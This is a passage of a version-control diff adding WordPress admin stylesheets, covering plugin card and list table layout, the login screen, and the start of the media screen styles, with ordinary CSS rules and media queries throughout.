+	border-top-width: 1px;
+}
+
+.plugins .plugin-update-tr .plugin-update {
+	box-shadow: inset 0 -1px 0 rgba(0,0,0,0.1);
+	overflow: hidden; /* clearfix */
+	padding: 0;
+}
+
+.plugins .plugin-update-tr .notice,
+.plugins .plugin-update-tr div[class="update-message"] { /* back-compat for pre-4.6 */
+	margin: 5px 20px 15px 40px;
+}
+
+.plugins .notice p {
+	margin: 0.5em 0;
+}
+
+.plugin-card .update-now:before {
+	color: #f56e28;
+	content: "\f463";
+	display: inline-block;
+	font: normal 20px/1 dashicons;
+	margin: 3px 5px 0 -2px;
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	vertical-align: top;
+}
+
+.plugin-card .updating-message:before {
+	content: "\f463";
+	animation: rotation 2s infinite linear;
+}
+
+@keyframes rotation {
+	0% {
+		transform: rotate(0deg);
+	}
+	100% {
+		transform: rotate(359deg);
+	}
+}
+
+.plugin-card .updated-message:before {
+	color: #79ba49;
+	content: "\f147";
+}
+
+.plugin-install-php h2 {
+	clear: both;
+}
+
+.plugin-install-php h3 {
+	margin: 2.5em 0 8px;
+}
+
+.plugin-install-php .wp-filter {
+	margin-bottom: 0;
+}
+
+/* Plugin card table view */
+.plugin-group {
+	overflow: hidden; /* clearfix */
+	margin-top: 1.5em;
+}
+
+.plugin-group h3 {
+	margin-top: 0;
+}
+
+.plugin-card {
+	float: left;
+	margin: 0 8px 16px;
+	width: 48.5%;
+	width: calc( 50% - 8px );
+	background-color: #fff;
+	border: 1px solid #ddd;
+	box-sizing: border-box;
+}
+
+.plugin-card:nth-child(odd) {
+	clear: both;
+	margin-left: 0;
+}
+
+.plugin-card:nth-child(even) {
+	margin-right: 0;
+}
+
+@media screen and ( min-width: 1600px ) {
+	.plugin-card {
+		width: 30%;
+		width: calc( 33.1% - 8px );
+	}
+
+	.plugin-card:nth-child(odd) {
+		clear: none;
+		margin-left: 8px;
+	}
+
+	.plugin-card:nth-child(even) {
+		margin-right: 8px;
+	}
+
+	.plugin-card:nth-child(3n+1) {
+		clear: both;
+		margin-left: 0;
+	}
+
+	.plugin-card:nth-child(3n) {
+		margin-right: 0;
+	}
+}
+
+.plugin-card-top {
+	position: relative;
+	padding: 20px 20px 10px;
+	min-height: 135px;
+}
+
+div.action-links,
+.plugin-action-buttons {
+	margin: 0; /* Override existing margins */
+}
+
+.plugin-card h3 {
+	margin: 0 0 12px;
+	font-size: 18px;
+	line-height: 1.3;
+}
+
+.plugin-card .name,
+.plugin-card .desc {
+	margin-left: 148px; /* icon + margin */
+	margin-right: 120px; /* action links */
+}
+
+.plugin-card .action-links {
+	position: absolute;
+	top: 20px;
+	right: 20px;
+	width: 120px;
+}
+
+.plugin-action-buttons {
+	clear: right;
+	float: right;
+	margin-left: 2em;
+	margin-bottom: 1em;
+	text-align: right;
+}
+
+.plugin-action-buttons li {
+	margin-bottom: 10px;
+}
+
+.plugin-card-bottom {
+	clear: both;
+	padding: 12px 20px;
+	background-color: #fafafa;
+	border-top: 1px solid #ddd;
+	overflow: hidden;
+}
+
+.plugin-card-bottom .star-rating {
+	display: inline;
+}
+
+.plugin-card-update-failed .update-now {
+	font-weight: 600;
+}
+
+.plugin-card-update-failed .notice-error {
+	margin: 0;
+	padding-left: 16px;
+	box-shadow: 0 -1px 0 #ddd;
+}
+
+.plugin-card-update-failed .plugin-card-bottom {
+	display: none;
+}
+
+.plugin-card .column-rating {
+	line-height: 23px;
+}
+
+.plugin-card .column-rating,
+.plugin-card .column-updated {
+	margin-bottom: 4px;
+}
+
+.plugin-card .column-rating,
+.plugin-card .column-downloaded {
+	float: left;
+	clear: left;
+	max-width: 180px;
+}
+
+.plugin-card .column-updated,
+.plugin-card .column-compatibility {
+	text-align: right;
+	float: right;
+	clear: right;
+	width: 65%;
+	width: calc( 100% - 180px );
+}
+
+.plugin-card .column-compatibility span:before {
+	font: normal 20px/.5 dashicons;
+	speak: none;
+	display: inline-block;
+	padding: 0;
+	top: 4px;
+	left: -2px;
+	position: relative;
+	vertical-align: top;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	text-decoration: none !important;
+	color: #444;
+}
+
+.plugin-card .compatibility-incompatible:before {
+	content: "\f158";
+}
+
+.plugin-card .compatibility-compatible:before {
+	content: "\f147";
+}
+
+.plugin-icon {
+	position: absolute;
+	top: 20px;
+	left: 20px;
+	width: 128px;
+	height: 128px;
+	margin: 0 20px 20px 0;
+}
+
+.no-plugin-results {
+	color: #666; /* same as no themes and no media */
+	font-size: 18px;
+	font-style: normal;
+	margin: 0;
+	padding: 100px 0 0;
+	text-align: center;
+}
+
+/* ms */
+/* Background Color for Site Status */
+.wp-list-table .site-deleted,
+.wp-list-table tr.site-deleted {
+	background: #ff8573;
+}
+.wp-list-table .site-spammed,
+.wp-list-table tr.site-spammed {
+	background: #faafaa;
+}
+.wp-list-table .site-archived,
+.wp-list-table tr.site-archived {
+	background: #ffebe8;
+}
+.wp-list-table .site-mature,
+.wp-list-table tr.site-mature {
+	background: #fecac2;
+}
+
+.sites.fixed .column-lastupdated,
+.sites.fixed .column-registered {
+	width: 20%;
+}
+
+.sites.fixed .column-users {
+	width: 80px;
+}
+
+/* =Media Queries
+-------------------------------------------------------------- */
+
+@media screen and ( max-width: 1100px ) and ( min-width: 782px ), ( max-width: 480px ) {
+	.plugin-card .action-links {
+		position: static;
+		margin-left: 148px;
+		width: auto;
+	}
+
+	.plugin-action-buttons {
+		float: none;
+		margin: 1em 0 0;
+		text-align: left;
+	}
+
+	.plugin-action-buttons li {
+		display: inline-block;
+		vertical-align: middle;
+	}
+
+	.plugin-action-buttons li .button {
+		margin-right: 20px;
+	}
+
+	.plugin-card .name,
+	.plugin-card .desc {
+		margin-right: 0;
+	}
+
+	.plugin-card .desc p:first-of-type {
+		margin-top: 0;
+	}
+
+	.fixed .column-date {
+		width: 14%;
+	}
+}
+
+@media screen and ( max-width: 782px ) {
+	/* WP List Table Options & Filters */
+	.tablenav {
+		height: auto;
+	}
+
+	.tablenav.top {
+		margin: 20px 0 5px 0;
+	}
+
+	.tablenav.bottom {
+		position: relative;
+		margin-top: 15px;
+	}
+
+	.tablenav br {
+		display: none;
+	}
+
+	.tablenav br.clear {
+		display: block;
+	}
+
+	.tablenav.top .actions,
+	.tablenav .view-switch {
+		display: none;
+	}
+
+	.view-switch a {
+		width: 36px;
+		height: 36px;
+		line-height: 33px;
+	}
+
+	/* Pagination */
+	.tablenav.top .displaying-num {
+		display: none;
+	}
+
+	.tablenav.bottom .displaying-num {
+		position: absolute;
+		right: 0;
+		top: 11px;
+		margin: 0;
+		font-size: 14px;
+	}
+
+	.tablenav .tablenav-pages {
+		width: 100%;
+		height: auto;
+		text-align: center;
+		margin: 0 0 25px;
+	}
+
+	.tablenav.bottom .tablenav-pages {
+		margin-top: 25px;
+	}
+
+	.tablenav.top .tablenav-pages.one-page {
+		display: none;
+	}
+
+	.tablenav.bottom .tablenav-pages.one-page {
+		margin: 15px 0 0 0;
+		height: 0;
+	}
+
+	.tablenav-pages .pagination-links {
+		font-size: 16px;
+	}
+
+	.tablenav-pages .pagination-links a,
+	.tablenav-pages-navspan {
+		padding: 9px 11px 12px;
+		font-size: 18px;
+	}
+
+	.tablenav-pages-navspan {
+		height: 18px;
+	}
+
+	.tablenav-pages .pagination-links .current-page {
+		padding: 8px 9px 9px;
+		font-size: 16px;
+	}
+
+	/* WP List Table Adjustments: General */
+	.form-wrap > p {
+		display: none;
+	}
+
+	.comment-count {
+		font-size: 14px;
+	}
+
+	.wp-list-table th.column-primary ~ th,
+	.wp-list-table tr:not(.inline-edit-row):not(.no-items) td.column-primary ~ td:not(.check-column) {
+		display: none;
+	}
+
+	.wp-list-table thead th.column-primary {
+		width: 100%;
+	}
+
+	/* Checkboxes need to show */
+	.wp-list-table tr th.check-column {
+		display: table-cell;
+		width: 35px;
+	}
+
+	.wp-list-table .column-primary .toggle-row {
+		display: block;
+	}
+
+	.wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.check-column) {
+		position: relative;
+		clear: both;
+		display: block;
+		width: auto !important; /* needs to override some columns that are more specifically targeted */
+	}
+
+	.wp-list-table td.column-primary {
+		padding-right: 50px; /* space for toggle button */
+	}
+
+	.wp-list-table tr:not(.inline-edit-row):not(.no-items) td.column-primary ~ td:not(.check-column) {
+		padding: 3px 8px 3px 35%;
+	}
+
+	.wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.column-primary)::before {
+		position: absolute;
+		left: 10px; /* match padding of regular table cell */
+		display: block;
+		overflow: hidden;
+		width: 32%; /* leave a little space for a gutter */
+		content: attr(data-colname);
+		white-space: nowrap;
+		text-overflow: ellipsis;
+	}
+
+	.wp-list-table .is-expanded td:not(.hidden) {
+		display: block !important;
+		overflow: hidden; /* clearfix */
+	}
+
+	/* Special cases */
+	.widefat .num,
+	.column-posts {
+		text-align: left;
+	}
+
+	#comments-form .fixed .column-author,
+	#commentsdiv .fixed .column-author {
+		display: none !important;
+	}
+
+	.fixed .column-comment .comment-author {
+		display: block;
+	}
+
+	#the-comment-list .is-expanded td {
+		box-shadow: none;
+	}
+
+	#the-comment-list .is-expanded td:last-child {
+		box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
+	}
+
+	/* Show comment bubble as text instead */
+	.post-com-count .screen-reader-text {
+		position: static;
+		-webkit-clip-path: none;
+		clip-path: none;
+		width: auto;
+		height: auto;
+		margin: 0;
+	}
+
+	.column-response .post-com-count-no-comments:after,
+	.column-response .post-com-count-approved:after,
+	.column-comments .post-com-count-no-comments:after,
+	.column-comments .post-com-count-approved:after {
+		content: none;
+	}
+
+	.column-response .post-com-count [aria-hidden="true"],
+	.column-comments .post-com-count [aria-hidden="true"] {
+		display: none;
+	}
+
+	.column-response .post-com-count-wrapper,
+	.column-comments .post-com-count-wrapper {
+		white-space: normal;
+	}
+
+	.column-response .post-com-count-wrapper > a,
+	.column-comments .post-com-count-wrapper > a {
+		display: block;
+	}
+
+	.column-response .post-com-count-no-comments,
+	.column-response .post-com-count-approved,
+	.column-comments .post-com-count-no-comments,
+	.column-comments .post-com-count-approved {
+		margin-top: 0;
+		margin-right: 0.5em;
+	}
+
+	.column-response .post-com-count-pending,
+	.column-comments .post-com-count-pending {
+		position: static;
+		height: auto;
+		min-width: 0;
+		padding: 0;
+		border: none;
+		border-radius: 0;
+		background: none;
+		color: #bb2a2a;
+		font-size: inherit;
+		line-height: inherit;
+		text-align: left;
+	}
+
+	.column-response .post-com-count-pending:hover,
+	.column-comments .post-com-count-pending:hover {
+		color: #dc3232;
+	}
+
+	.widefat thead td.check-column,
+	.widefat tfoot td.check-column {
+		padding-top: 10px;
+	}
+
+	.widefat * {
+		word-wrap: normal;
+	}
+
+	/* Quick Edit and Bulk Edit */
+	#wpbody-content .quick-edit-row-post .inline-edit-col-left,
+	#wpbody-content .quick-edit-row-post .inline-edit-col-right,
+	#wpbody-content .inline-edit-row-post .inline-edit-col-center,
+	#wpbody-content .quick-edit-row-page .inline-edit-col-left,
+	#wpbody-content .quick-edit-row-page .inline-edit-col-right,
+	#wpbody-content .bulk-edit-row-post .inline-edit-col-right,
+	#wpbody-content .bulk-edit-row .inline-edit-col-left,
+	#wpbody-content .bulk-edit-row-page .inline-edit-col-right,
+	#wpbody-content .bulk-edit-row .inline-edit-col-bottom {
+		float: none;
+		width: 100%;
+	}
+
+	#wpbody-content .quick-edit-row fieldset .inline-edit-col label,
+	#wpbody-content .quick-edit-row fieldset .inline-edit-group label,
+	#wpbody-content .bulk-edit-row fieldset .inline-edit-col label,
+	#wpbody-content .bulk-edit-row fieldset .inline-edit-group label {
+		max-width: none;
+		float: none;
+		margin-bottom: 5px;
+	}
+
+	#wpbody .bulk-edit-row fieldset select {
+		display: block;
+		width: 100%;
+		max-width: none;
+		box-sizing: border-box;
+	}
+
+	.inline-edit-row fieldset ul.cat-checklist label,
+	.inline-edit-row #bulk-titles div {
+		font-size: 16px;
+	}
+
+	.inline-edit-row fieldset label span.title,
+	.inline-edit-row fieldset.inline-edit-date legend {
+		float: none;
+	}
+
+	.inline-edit-row fieldset label.inline-edit-tags {
+		padding: 0 0.5em;
+	}
+
+	.inline-edit-row fieldset .inline-edit-col label.inline-edit-tags {
+		padding: 0;
+	}
+
+	.inline-edit-row fieldset label span.input-text-wrap,
+	.inline-edit-row fieldset .timestamp-wrap {
+		margin-left: 0;
+	}
+
+	.inline-edit-row fieldset input[name=jj],
+	.inline-edit-row fieldset input[name=hh],
+	.inline-edit-row fieldset input[name=mn] {
+		width: 3em;
+	}
+
+	.inline-edit-row fieldset input[name=aa] {
+		width: 4.5em;
+	}
+
+	.inline-edit-row .inline-edit-or {
+		margin: 0 6px 0 0;
+	}
+
+	#edithead .inside,
+	#commentsdiv #edithead .inside {
+		float: none;
+		text-align: left;
+		padding: 3px 5px;
+	}
+
+	#commentsdiv #edithead .inside input,
+	#edithead .inside input {
+		width: 100%;
+	}
+
+	#edithead label {
+		display: block;
+	}
+
+	#bulk-titles div {
+		margin: 0.8em 0.3em;
+	}
+
+	#bulk-titles div a {
+		height: 22px;
+	}
+
+	/* Updates */
+	#wpbody-content .updates-table .plugin-title {
+		width: auto;
+		white-space: normal;
+	}
+
+	/* Links */
+	.link-manager-php #posts-filter {
+		margin-top: 25px;
+	}
+
+	.link-manager-php .tablenav.bottom {
+		overflow: hidden;
+	}
+
+	/* List tables that don't toggle rows */
+	.comments-box .toggle-row,
+	.wp-list-table.plugins .toggle-row {
+		display: none;
+	}
+
+	/* Plugin/Theme Management */
+	#wpbody-content .wp-list-table.plugins td {
+		display: block;
+		width: auto;
+		padding: 10px 9px; /* reset from other list tables that have a label at this width */
+	}
+
+	#wpbody-content .wp-list-table.plugins .column-description {
+		padding-top: 2px;
+	}
+
+	#wpbody-content .wp-list-table.plugins .plugin-title,
+	#wpbody-content .wp-list-table.plugins .theme-title {
+		padding-right: 12px;
+		white-space: normal;
+	}
+
+	.wp-list-table.plugins .plugin-title,
+	.wp-list-table.plugins .theme-title {
+		padding-top: 13px;
+		padding-bottom: 4px;
+	}
+
+	.plugins #the-list tr > td:not(:last-child),
+	.plugins #the-list .update th,
+	.plugins #the-list .update td,
+	.wp-list-table.plugins #the-list .theme-title {
+		box-shadow: none;
+		border-top: none;
+	}
+
+	.plugins #the-list tr td {
+		border-top: none;
+	}
+
+	.plugins tbody {
+		padding: 1px 0 0;
+	}
+
+	.plugins tr.active + tr.inactive th.check-column,
+	.plugins tr.active + tr.inactive td.column-description,
+	.plugins .plugin-update-tr:before {
+		box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
+	}
+
+	.plugins tr.active + tr.inactive th.check-column,
+	.plugins tr.active + tr.inactive td {
+		border-top: none;
+	}
+
+	/* mimic the checkbox th */
+	.plugins .plugin-update-tr:before {
+		content: "";
+		display: table-cell;
+	}
+
+	.plugins .active.update + .plugin-update-tr:before {
+		border-left: 4px solid #d54e21;
+		background-color: #fef7f1;
+	}
+
+	.plugins #the-list .plugin-update-tr .plugin-update {
+		border-left: none;
+	}
+
+	.plugin-update-tr .update-message {
+		margin-left: 0;
+	}
+
+	.plugins .active.update + .plugin-update-tr:before {
+		background-color: #f7fcfe;
+		border-left: 4px solid #00a0d2;
+	}
+
+	.plugins .plugin-update-tr .update-message {
+		margin-left: 0;
+	}
+
+	.wp-list-table.plugins .plugin-title strong,
+	.wp-list-table.plugins .theme-title strong {
+		font-size: 1.4em;
+		line-height: 1.5;
+	}
+
+	/* Add New plugins page */
+	table.plugin-install .column-name,
+	table.plugin-install .column-version,
+	table.plugin-install .column-rating,
+	table.plugin-install .column-description {
+		display: block;
+		width: auto;
+	}
+
+	table.plugin-install th.column-name,
+	table.plugin-install th.column-version,
+	table.plugin-install th.column-rating,
+	table.plugin-install th.column-description {
+		display: none;
+	}
+
+	table.plugin-install td.column-name strong {
+		font-size: 1.4em;
+		line-height: 1.6em;
+	}
+
+	table.plugin-install #the-list td {
+		box-shadow: none;
+	}
+
+	table.plugin-install #the-list tr {
+		display: block;
+		box-shadow: inset 0 -1px 0 rgba(0,0,0,0.1);
+	}
+
+	.plugin-card {
+		margin-left: 0;
+		margin-right: 0;
+		width: 100%;
+	}
+}
+
+@media screen and ( max-width: 480px ) {
+	.tablenav-pages .current-page {
+		margin: 0;
+	}
+
+	.tablenav-pages .tablenav-paging-text {
+		float: left;
+		width: 100%;
+		padding-top: 0.5em;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/css/login.css
===================================================================
--- /tags/5.0.20/src/wp-admin/css/login.css	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/login.css	(revision 56912)
@@ -0,0 +1,283 @@
+@import url(forms.css);
+@import url(l10n.css);
+
+html,
+body {
+	height: 100%;
+	margin: 0;
+	padding: 0;
+}
+
+body {
+	background: #f1f1f1;
+	min-width: 0;
+	color: #444;
+	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
+	font-size: 13px;
+	line-height: 1.4em;
+}
+
+a {
+	color: #0073aa;
+	transition-property: border, background, color;
+	transition-duration: .05s;
+	transition-timing-function: ease-in-out;
+}
+
+a {
+	outline: 0;
+}
+
+a:hover,
+a:active {
+	color: #00a0d2;
+}
+
+a:focus {
+	color: #124964;
+	box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+}
+
+.ie8 a:focus {
+	outline: #5b9dd9 solid 1px;
+}
+
+p {
+	line-height: 1.5;
+}
+
+.login .message,
+.login .success,
+.login #login_error {
+	border-left: 4px solid #00a0d2;
+	padding: 12px;
+	margin-left: 0;
+	margin-bottom: 20px;
+	background-color: #fff;
+	box-shadow: 0 1px 1px 0 rgba(0,0,0,0.1);
+}
+
+.login .success {
+	border-left-color: #46b450;
+}
+
+.login #login_error {
+	border-left-color: #dc3232;
+}
+
+#loginform p.submit,
+.login-action-lostpassword p.submit {
+	border: none;
+	margin: -10px 0 20px; /* May want to revisit this */
+}
+
+.login * {
+	margin: 0;
+	padding: 0;
+}
+
+.login .password-input-wrapper {
+    display: table;
+}
+
+.login .input.password-input {
+    display: table-cell;
+    margin: 0;
+}
+
+.login .pw-weak {
+    margin-bottom: 15px;
+}
+
+.login .button.button-secondary {
+    display: table-cell;
+    border-radius: 0;
+    vertical-align: middle;
+}
+
+.login form {
+	margin-top: 20px;
+	margin-left: 0;
+	padding: 26px 24px 46px;
+	font-weight: 400;
+	overflow: hidden;
+	background: #fff;
+	box-shadow: 0 1px 3px rgba(0,0,0,0.13);
+}
+
+.login form .forgetmenot {
+	font-weight: 400;
+	float: left;
+	margin-bottom: 0;
+}
+
+.login .button-primary {
+	float: right;
+}
+
+#login form p {
+	margin-bottom: 0;
+}
+
+#login form p.submit {
+	margin: 0;
+	padding: 0;
+}
+
+.login label {
+	color: #72777c;
+	font-size: 14px;
+}
+
+.login form .forgetmenot label {
+	font-size: 12px;
+	line-height: 19px;
+}
+
+.login h1 {
+	text-align: center;
+}
+
+.login h1 a {
+	background-image: url(../images/w-logo-blue.png?ver=20131202);
+	background-image: none, url(../images/wordpress-logo.svg?ver=20131107);
+	background-size: 84px;
+	background-position: center top;
+	background-repeat: no-repeat;
+	color: #444;
+	height: 84px;
+	font-size: 20px;
+	font-weight: 400;
+	line-height: 1.3em;
+	margin: 0 auto 25px;
+	padding: 0;
+	text-decoration: none;
+	width: 84px;
+	text-indent: -9999px;
+	outline: none;
+	overflow: hidden;
+	display: block;
+}
+
+#login {
+	width: 320px;
+	padding: 8% 0 0;
+	margin: auto;
+}
+
+.login #nav,
+.login #backtoblog {
+	font-size: 13px;
+	padding: 0 24px 0;
+}
+
+.login #nav {
+	margin: 24px 0 0 0;
+}
+
+#backtoblog {
+	margin: 16px 0;
+}
+
+.login #nav a,
+.login #backtoblog a {
+	text-decoration: none;
+	color: #555d66;
+}
+
+.login #nav a:hover,
+.login #backtoblog a:hover,
+.login h1 a:hover {
+	color: #00a0d2;
+}
+
+.login #nav a:focus,
+.login #backtoblog a:focus,
+.login h1 a:focus {
+	color: #124964;
+}
+
+.login .privacy-policy-page-link {
+	text-align: center;
+	width: 100%;
+	margin: 5em 0 2em;
+}
+
+.login form .input,
+.login input[type="text"] {
+	font-size: 24px;
+	width: 100%;
+	padding: 3px;
+	margin: 2px 6px 16px 0;
+}
+
+.login form .input,
+.login input[type="text"],
+.login form input[type="checkbox"] {
+	background: #fbfbfb;
+}
+
+.ie7 .login form .input,
+.ie8 .login form .input {
+	font-family: sans-serif;
+}
+
+.login-action-rp input[type="text"] {
+	box-shadow: none;
+	margin: 0;
+}
+
+.login #pass-strength-result {
+	font-weight: 600;
+	margin: -1px 5px 16px 0;
+	padding: 6px 5px;
+	text-align: center;
+	width: 100%;
+}
+
+body.interim-login {
+	height: auto;
+}
+
+.interim-login #login {
+	padding: 0;
+	margin: 5px auto 20px;
+}
+
+.interim-login.login h1 a {
+	width: auto;
+}
+
+.interim-login #login_error,
+.interim-login.login .message {
+	margin: 0 0 16px;
+}
+
+.interim-login.login form {
+	margin: 0;
+}
+
+@-ms-viewport {
+	width: device-width;
+}
+
+@media screen and ( max-height: 550px ) {
+	#login {
+		padding: 20px 0;
+	}
+}
+
+@media screen and ( max-width: 782px ) {
+	.interim-login input[type=checkbox] {
+		height: 16px;
+		width: 16px;
+	}
+
+	.interim-login input[type=checkbox]:checked:before {
+		width: 16px;
+		font: normal 21px/1 dashicons;
+		margin: -3px 0 0 -4px;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/css/media.css
===================================================================
--- /tags/5.0.20/src/wp-admin/css/media.css	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/media.css	(revision 56912)
@@ -0,0 +1,1273 @@
+/*------------------------------------------------------------------------------
+  14.0 - Media Screen
+------------------------------------------------------------------------------*/
+
+.media-item .describe {
+	border-collapse: collapse;
+	width: 100%;
+	border-top: 1px solid #ddd;
+	clear: both;
+	cursor: default;
+}
+
+.media-item.media-blank .describe {
+	border: 0;
+}
+
+.media-item .describe th {
+	vertical-align: top;
+	text-align: left;
+	padding: 5px 10px 10px;
+	width: 140px;
+}
+
+.media-item .describe .align th {
+	padding-top: 0;
+}
+
+.media-item .media-item-info tr {
+	background-color: transparent;
+}
+
+.media-item .describe td {
+	padding: 0 8px 8px 0;
+	vertical-align: top;
+}
+
+.media-item thead.media-item-info td {
+	padding: 4px 10px 0;
+}
+
+.media-item .media-item-info .A1B1 {
+	padding: 0 0 0 10px;
+}
+
+.media-item td.savesend {
+	padding-bottom: 15px;
+}
+
+.media-item .thumbnail {
+	max-height: 128px;
+	max-width: 128px;
+}
+
+#wpbody-content #async-upload-wrap a {
+	display: none;
+}
+
+.media-upload-form {
+	margin-top: 20px;
+}
+
+.media-upload-form td label {
+	margin-right: 6px;
+	margin-left: 2px;
+}
+
+.media-upload-form .align .field label {
+	display: inline;
+	padding: 0 0 0 23px;
+	margin: 0 1em 0 3px;
+	font-weight: 600;
+}
+
+.media-upload-form tr.image-size label {
+	margin: 0 0 0 5px;
+	font-weight: 600;
+}
+
+.media-upload-form th.label label {
+	font-weight: 600;
+	margin: 0.5em;
+	font-size: 13px;
+}
+
+.media-upload-form th.label label span {
+	padding: 0 5px;
+}
+
+.media-item .describe input[type="text"],
+.media-item .describe textarea {
+	width: 460px;
+}
+
+.media-item .describe p.help {
+	margin: 0;
+	padding: 0 0 0 5px;
+}
+
+.media-item .edit-attachment,
+.describe-toggle-on,
+.describe-toggle-off {
+	display: block;
+	line-height: 36px;
+	float: right;
+	margin-right: 10px;
+}
+
+.media-item .describe-toggle-off,
+.media-item.open .describe-toggle-on {
+	display: none;
+}
+
+.media-item.open .describe-toggle-off {
+	display: block;
+}
+
+.media-upload-form .media-item {
+	min-height: 36px;
+	margin-bottom: 1px;
+	position: relative;
+	width: 100%;
+	background: #fff;
+}
+
+.media-upload-form .media-item,
+.media-upload-form .media-item .error {
+	box-shadow: 0 1px 0 #ddd;
+}
+
+#media-items:empty {
+	border: 0 none;
+}
+
+.media-item .filename {
+	line-height: 36px;
+	overflow: hidden;
+	margin-left: 6px;
+}
+
+.media-item .pinkynail {
+	float: left;
+	margin: 2px 10px 0 3px;
+	max-width: 40px;
+	max-height: 32px;
+}
+
+.media-item .startopen,
+.media-item .startclosed {
+	display: none;
+}
+
+.media-item .original {
+	position: relative;
+	height: 34px;
+}
+
+.media-item .progress {
+	float: right;
+	height: 22px;
+	margin: 7px 6px;
+	width: 200px;
+	line-height: 2em;
+	padding: 0;
+	overflow: hidden;
+	border-radius: 22px;
+	background: #ddd;
+	box-shadow: inset 0 1px 2px rgba(0,0,0,0.1);
+}
+
+.media-item .bar {
+	z-index: 9;
+	width: 0;
+	height: 100%;
+	margin-top: -22px;
+	border-radius: 22px;
+	background-color: #0073aa;
+	box-shadow: inset 0 0 2px rgba(0,0,0,0.3);
+}
+
+.media-item .progress .percent {
+	z-index: 10;
+	position: relative;
+	width: 200px;
+	padding: 0;
+	color: #fff;
+	text-align: center;
+	line-height: 22px;
+	font-weight: 400;
+	text-shadow: 0 1px 2px rgba(0,0,0,0.2);
+}
+
+.upload-php .fixed .column-parent {
+	width: 15%;
+}
+
+.js .html-uploader #plupload-upload-ui {
+	display: none;
+}
+
+.js .html-uploader #html-upload-ui {
+	display: block;
+}
+
+.media-upload-form .media-item.error,
+.media-upload-form .media-item .error {
+	width: auto;
+	margin: 0 0 1px 0;
+}
+
+.media-upload-form .media-item .error {
+	padding: 10px 0 10px 14px;
+}
+
+.media-item .error-div a.dismiss {
+	display: block;
+	float: right;
+	margin: 0 10px 0 15px;
+}
+
+/*------------------------------------------------------------------------------
+  14.1 - Media Library
+------------------------------------------------------------------------------*/
+
+.find-box {
+	background-color: #fff;
+	box-shadow: 0 3px 6px rgba( 0, 0, 0, 0.3 );
+	width: 600px;
+	overflow: hidden;
+	margin-left: -300px;
+	position: fixed;
+	top: 30px;
+	bottom: 30px;
+	left: 50%;
+	z-index: 100105;
+}
+
+.find-box-head {
+	background: #fcfcfc;
+	border-bottom: 1px solid #ddd;
+	height: 36px;
+	font-size: 18px;
+	font-weight: 600;
+	line-height: 36px;
+	padding: 0 36px 0 16px;
+	position: absolute;
+	top: 0;
+	left: 0;
+	right: 0;
+}
+
+.find-box-inside {
+	overflow: auto;
+	padding: 16px;
+	background-color: #fff;
+	position: absolute;
+	top: 37px;
+	bottom: 45px;
+	overflow-y: scroll;
+	width: 100%;
+	box-sizing: border-box;
+}
+
+.find-box-search {
+	padding-bottom: 16px;
+}
+
+.find-box-search .spinner {
+	float: none;
+	left: 105px;
+	position: absolute;
+}
+
+.find-box-search,
+#find-posts-response {
+	position: relative; /* RTL fix, #WP28010 */
+}
+
+#find-posts-input,
+#find-posts-search {
+	float: left;
+}
+
+#find-posts-input {
+	width: 140px;
+	height: 28px;
+	margin: 0 4px 0 0;
+}
+
+.widefat .found-radio {
+	padding-right: 0;
+	width: 16px;
+}
+
+#find-posts-close {
+	width: 36px;
+	height: 36px;
+	border: none;
+	padding: 0;
+	position: absolute;
+	top: 0;
+	right: 0;
+	cursor: pointer;
+	text-align: center;
+	background: none;
+	color: #666;
+}
+
+#find-posts-close:hover,
+#find-posts-close:focus {
+	color: #00a0d2;
+}
+
+#find-posts-close:focus {
+	outline: none;
+	box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+}
+
+#find-posts-close:before {
+	font: normal 20px/36px dashicons;
+	vertical-align: top;
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	content: "\f158";
+}
+
+.find-box-buttons {
+	padding: 8px 16px;
+	background: #fcfcfc;
+	border-top: 1px solid #ddd;
+	position: absolute;
+	bottom: 0;
+	left: 0;
+	right: 0;
+}
+
+@media screen and ( max-width: 782px ) {
+	.find-box-inside {
+		bottom: 57px;
+	}
+}
+
+@media screen and ( max-width: 660px ) {
+
+	.find-box {
+		top: 0;
+		bottom: 0;
+		left: 0;
+		right: 0;
+		margin: 0;
+		width: 100%;
+	}
+
+}
+
+.ui-find-overlay {
+	position: fixed;
+	top: 0;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	background: #000;
+	opacity: 0.7;
+	filter: alpha(opacity=70);
+	z-index: 100100;
+}
+
+ul#dismissed-updates {
+	display: none;
+}
+
+form.upgrade {
+	margin-top: 8px;
+}
+
+form.upgrade .hint {
+	font-style: italic;
+	font-size: 85%;
+	margin: -0.5em 0 2em 0;
+}
+
+#poststuff .inside .the-tagcloud {
+	margin: 5px 0 10px;
+	padding: 8px;
+	border: 1px solid #ddd;
+	line-height: 1.8em;
+	word-spacing: 3px;
+}
+
+.drag-drop #drag-drop-area {
+	border: 4px dashed #b4b9be;
+	height: 200px;
+}
+
+.drag-drop .drag-drop-inside {
+	margin: 70px auto 0;
+	width: 250px;
+}
+
+.drag-drop-inside p {
+	color: #a0a5aa;
+	font-size: 14px;
+	margin: 5px 0;
+	display: none;
+}
+
+.drag-drop .drag-drop-inside p {
+	text-align: center;
+}
+
+.drag-drop-inside p.drag-drop-info {
+	font-size: 20px;
+}
+
+.drag-drop .drag-drop-inside p,
+.drag-drop-inside p.drag-drop-buttons {
+	display: block;
+}
+
+/*
+#drag-drop-area:-moz-drag-over {
+	border-color: #83b4d8;
+}
+border color while dragging a file over the uploader drop area */
+.drag-drop.drag-over #drag-drop-area {
+	border-color: #83b4d8;
+}
+
+#plupload-upload-ui {
+	position: relative;
+}
+
+/**
+ * Media Library grid view
+ */
+
+.media-frame.mode-grid,
